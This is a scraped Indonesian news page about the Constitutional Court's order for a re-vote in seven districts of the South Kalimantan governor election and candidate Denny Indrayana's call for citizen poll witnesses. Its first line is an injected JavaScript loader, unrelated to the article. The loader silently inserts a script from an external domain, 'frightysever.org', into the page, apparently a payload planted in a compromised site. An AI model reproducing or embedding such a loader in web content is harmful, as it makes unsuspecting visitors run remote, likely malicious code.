(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Putusan Mahkamah Konstitusi (MK) untuk melaksanakan pemungutan suara ulang di 7 kecamatan di Pilgub Kalsel putaran kedua, ditindaklanjuti cagub nomor urut 2 Denny Indrayana dengan mengundang masyarakat menjadi saksi di Tempat Pemungutan Suara (TPS).
Haji Denny—panggilan Denny Indrayana mengatakan, langkah tersebut dilakukan untuk menjamin pelaksanaan pencoblosan ulang di 827 TPS di 7 kecamatan meliputi Kecamatan Banjarmasin Selatan (Banjarmasin); Kecamatan Binuang (Tapin); Kecamatan Sambung Makmur, Kecamatan Aluh-Aluh, Kecamatan Martapura, Kecamatan Mataraman, dan Kecamatan Astambul (Banjar), berlangsung tanpa kecurangan.
“Ini adalah momentum untuk mengembalikan kemenangan kita. Jadi saya mengundang kepada warga yang berada di lokasi digelarnya PSU, untuk bersama-sama mengawal sekaligus menjadi saksi di tiap TPS,” terangnya, Senin (22/3/2021).
Saksi tersebut, baik dalam arti yang terlibat langsung yang diatur dalam ketentuan KPU, maupun saksi dalam artian lebih luas dengan mengawasi bersama-sama pelaksanaan pemungutan ulang dan melaporkan jika melihat adanya kecurangan.
Baca juga: Denny Indrayana: Alhamdulilah MK Kabulkan Gugatan Paslon 02, Saatnya Kembali Berjuang!
Mantan Wamenkum HAM era Presiden ke-6 RI Susilo Bambang Yudhoyono (SBY) ini mengatakan, digelarnya PSU bukan berarti aman dari praktik kecurangan seperti sebelumnya. Maka itu, pengawasan lebih perlu semakin ditingkatkan agar berlangsung pemilihan yang bersih, jujur, dan adil.
“Keputusan MK tentang digelarnya PSU menunjukkan bahwa praktik kecurangan itu nyata adanya di pemilihan gubernur lalu,” tegasnya.
Teknisnya, kata Haji Denny, masyarakat yang ingin berjuang menyelamatkan Banua dengan menjadi saksi di TPS yang menggelar PSU, bisa mengirimkan biodata, lokasi TPS, berserta lampiran foto copy KTP ke nomor WA: 0812-1727-7890 atas nama Tareq Elven.
“Mari kita sama-sama berjuang untuk hijrah gasan Banua, merebut kembali kemenangan H2D (Haji Denny-Difri) di Pilgub Kalsel,” tegasnya.
Sebelumnya, dalam sidang putusan Sengketa Pilkada Kalsel, MK memutuskan mengabulkan sejumlah gugatan paslon nomor 2, Denny Indrayana-Difriadi. Di antaranya meminta KPU Kalsel menggelar PSU di 7 kecamatan.
Atas keputusan tersebut, MK otomatis menganulir putusan pleno KPU Kalsel tanggal 18 desember 2020 yang memenangkan Sahbirin-Muhidin dengan selisih 8.127 suara . Dimana Sahbirin 851.822 suara dan Haji Denny mendapatkan 843.695 suara.
Dengan adanya putusan MK, maka ada sebanyak 169.635 suara yang dianulir dari 827 TPS (total 9.060 TPS Pilgub Kalsel). Putusan ini berdampak dengan ikut terpangkasnya suara Sahbirin sebanyak 100.024 suara, dan Denny dipotong 69.611 suara.
Walhasil, saat ini paslon Denny-Difri memimpin sementara dengan 774.084 suara (unggul 22.286 suara) atas incumbent Sahbirin-Muhidin yang kini bermodal 751.798 suara.
Sebagaimana diketahui, MK memutuskan digelarnya PSU di 827 TPS meliputi, Banjarmasin Selatan : 301 TPS, di Binuang, Tapin 24 TPS, dan Sambung Makmur 27 TPS, Aluh-Aluh 63 TPS, Martapura 265 TPS, Mataraman 62 TPS, Astambul 85 TPS. (Kanalkalimantan.com/pras)
Reporter: pras
Editor: cell
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.